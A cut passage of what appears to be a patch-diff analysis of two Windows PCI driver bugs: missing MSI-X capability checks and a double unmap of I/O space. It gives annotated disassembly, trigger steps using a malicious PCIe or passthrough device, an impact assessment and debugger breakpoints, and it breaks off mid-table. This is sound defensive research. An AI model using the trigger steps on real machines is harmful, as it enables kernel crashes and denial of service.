&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C89F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; type = MSI-X&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C8A5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C8A8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;14009&lt;/span&gt;&lt;span class="no"&gt;C99C&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C8AE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="no"&gt;Dh&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; MSI-X cap offset (relocated device-ext field)&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C8B3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Bh&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C8BF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;PciReadDeviceConfig&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; read BEFORE alloc&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C8C4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_68&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; capability ID must be MSI-X (0x11)&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C8C9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;14009&lt;/span&gt;&lt;span class="no"&gt;C9B8&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; reject&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C8CF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_68&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C8D3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C8D6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; table BIR must be &amp;lt;= 6&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C8D8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;14009&lt;/span&gt;&lt;span class="no"&gt;C9B8&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; reject&lt;/span&gt;
&lt;span class="c1"&gt;; ... reject block 14009C9B8 traces via WPP then:&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;CA17&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C0000184h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INVALID_DEVICE_REQUEST&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;CA1C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;14009&lt;/span&gt;&lt;span class="no"&gt;CAAB&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2 — Unpatched &lt;code&gt;PciProcessStartResources&lt;/code&gt; (dangling pointer)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D0C3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r13d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;414&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; BAR count&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D0D8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r13d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; size = BAR_count * 16&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D0DC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13d&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D0DF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_MmMapIoSpaceEx&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; map physical IO space&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D0EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; store VA into descriptor+0x10 (device_ext+0x398)&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C004D0F2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;C0063813&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; fail path&lt;/span&gt;
&lt;span class="c1"&gt;; --- error/cleanup site ---&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C0063818&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; arg5 = device_ext+0x388&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C0063820&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; MSI-X?&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C0063823&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;C004CF6C&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C0063829&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; BaseAddress (device_ext+0x398)&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C006382D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C0063830&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;C004CF6C&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C0063836&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13d&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C0063839&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_MmUnmapIoSpace&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C0063840&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C0063845&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="c1"&gt;; *** no clear of device_ext+0x398 ***&lt;/span&gt;
&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="nf"&gt;C0063846&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;C004CF6C&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2 — Patched &lt;code&gt;PciProcessStartResources&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C708&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; rsi = device_ext+0x388&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C70B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;14009&lt;/span&gt;&lt;span class="no"&gt;C678&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C711&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; BaseAddress (device_ext+0x398)&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C715&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C718&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;14009&lt;/span&gt;&lt;span class="no"&gt;C678&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C71E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r13d&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C721&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_MmUnmapIoSpace&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C72D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; *** CLEAR device_ext+0x398 (FIX) ***&lt;/span&gt;
&lt;span class="err"&gt;14009&lt;/span&gt;&lt;span class="nf"&gt;C735&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;14009&lt;/span&gt;&lt;span class="no"&gt;C678&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding 1 (Missing MSI-X Capability Validation)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Present a malicious or malformed PCIe device (physical, Thunderbolt/USB4, or VM PCI passthrough / SR-IOV) that advertises an MSI-X capability so the device's MSI type field is set to MSI-X during enumeration.&lt;/li&gt;
&lt;li&gt;On &lt;code&gt;IRP_MN_START_DEVICE&lt;/code&gt;, arrange for the MSI-X capability read at start to disagree with a valid MSI-X capability: capability ID byte &lt;code&gt;!= 0x11&lt;/code&gt;, or table BIR field &lt;code&gt;== 7&lt;/code&gt; (for example by mutating config space after enumeration).&lt;/li&gt;
&lt;li&gt;Unpatched: the driver proceeds without validation and feeds the device-supplied BIR / table offset into the BAR-to-vector setup consumed by &lt;code&gt;PciProcessStartResources&lt;/code&gt;. Patched: the start fails with &lt;code&gt;STATUS_INVALID_DEVICE_REQUEST (0xC0000184)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable confirmation:&lt;/strong&gt; unpatched continues device start and stores the unchecked BIR at descriptor &lt;code&gt;+0x8&lt;/code&gt;; patched returns &lt;code&gt;0xC0000184&lt;/code&gt; and does not allocate. Breakpoint &lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt; and inspect the return status and descriptor &lt;code&gt;+0x8&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 2 (Double &lt;code&gt;MmUnmapIoSpace&lt;/code&gt;)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Attach an MSI-X-capable PCI device and let &lt;code&gt;IRP_MN_START_DEVICE&lt;/code&gt; map the MSI-X table BAR so &lt;code&gt;device_ext+0x398&lt;/code&gt; is populated.&lt;/li&gt;
&lt;li&gt;Force MSI-X resource processing to fail &lt;em&gt;after&lt;/em&gt; the mapping — e.g. a later interrupt descriptor returns a negative status from &lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt; (&lt;code&gt;0x1C004D001&lt;/code&gt;), or a subsequent &lt;code&gt;MmMapIoSpaceEx&lt;/code&gt; returns NULL (&lt;code&gt;0x1C0063813&lt;/code&gt;) — so the cleanup path unmaps &lt;code&gt;device_ext+0x398&lt;/code&gt;. In the unpatched build the pointer is left set.&lt;/li&gt;
&lt;li&gt;Device start fails; PnP issues &lt;code&gt;IRP_MN_REMOVE_DEVICE&lt;/code&gt; / &lt;code&gt;IRP_MN_STOP_DEVICE&lt;/code&gt;. &lt;code&gt;PciDevice_Remove&lt;/code&gt; (&lt;code&gt;0x1C0010340&lt;/code&gt;) / &lt;code&gt;PciDevice_Stop&lt;/code&gt; (&lt;code&gt;0x1C006CAE0&lt;/code&gt;) re-read &lt;code&gt;device_ext+0x388 == 3&lt;/code&gt; and unmap &lt;code&gt;device_ext+0x398&lt;/code&gt; a second time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable confirmation:&lt;/strong&gt; breakpoint &lt;code&gt;MmUnmapIoSpace&lt;/code&gt; and observe two calls with the same base address — once on the start-failure path, once during teardown. The second call unmaps an already-freed system-PTE range, leading to a bugcheck or PTE accounting corruption.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;h3&gt;Finding 1&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unvalidated device config data&lt;/strong&gt; → the device-supplied MSI-X BIR and table offset flow into the BAR-to-vector setup that &lt;code&gt;PciProcessStartResources&lt;/code&gt; feeds to &lt;code&gt;MmMapIoSpaceEx&lt;/code&gt;. The mapped physical base comes from the OS-assigned &lt;code&gt;CmResourceList&lt;/code&gt;; the device controls only the BIR selection (which resource descriptor) and the table offset added to that base, bounded to the device's assigned resource set. This is primarily a robustness / input-validation fix against malicious or mutated device config, including a config-space time-of-check/time-of-use by a device that changes its capability between enumeration and start. No demonstrated memory-safety primitive.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Double unmap of a system-PTE IO mapping&lt;/strong&gt; → denial of service (bugcheck) and potential kernel system-PTE accounting corruption when the start-failure path and the device stop/remove path both call &lt;code&gt;MmUnmapIoSpace&lt;/code&gt; on the same VA. No demonstrated controlled read/write primitive.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Reachability&lt;/h3&gt;
&lt;p&gt;Both findings are reached only during PnP device start / enumeration, operating on the device's own PCI configuration space. They are not reachable from an untrusted user-mode IOCTL surface. The realistic attacker is a malicious or malfunctioning PCIe device, a Thunderbolt/USB4 attachment, or a VM PCI-passthrough / SR-IOV guest. Standard kernel mitigations (KASLR, SMEP/SMAP, HVCI/VBS, pool/PTE integrity checks) apply but are not central to either fix, since neither yields a demonstrated corruption primitive.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Playbook&lt;/h2&gt;
&lt;h3&gt;Finding 1 — &lt;code&gt;PciProcessInterruptDescriptor&lt;/code&gt;&lt;/h3&gt;
&lt;h4&gt;Breakpoints&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp pci_unpatched!PciProcessInterruptDescriptor  &amp;quot;Entry — RCX=device ext, RDX=resource list, R8=descriptor, R9D=index&amp;quot;
bp 0x1c004d22d                                   &amp;quot;MSI-X type set (no validation in unpatched)&amp;quot;
bp 0x1c004d2f9                                   &amp;quot;PciReadDeviceConfig — cap read AFTER alloc, no guard&amp;quot;
bp pci_patched!PciProcessInterruptDescriptor
bp 0x14009c8bf                                   &amp;quot;PciReadDeviceConfig — cap read BEFORE alloc&amp;quot;
bp 0x14009c8c4                                   &amp;quot;cmp cap id == 0x11&amp;quot;
bp 0x14009c8d6                                   &amp;quot;cmp BIR &amp;lt;= 6&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;Key Offsets&lt;/h4&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Address&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
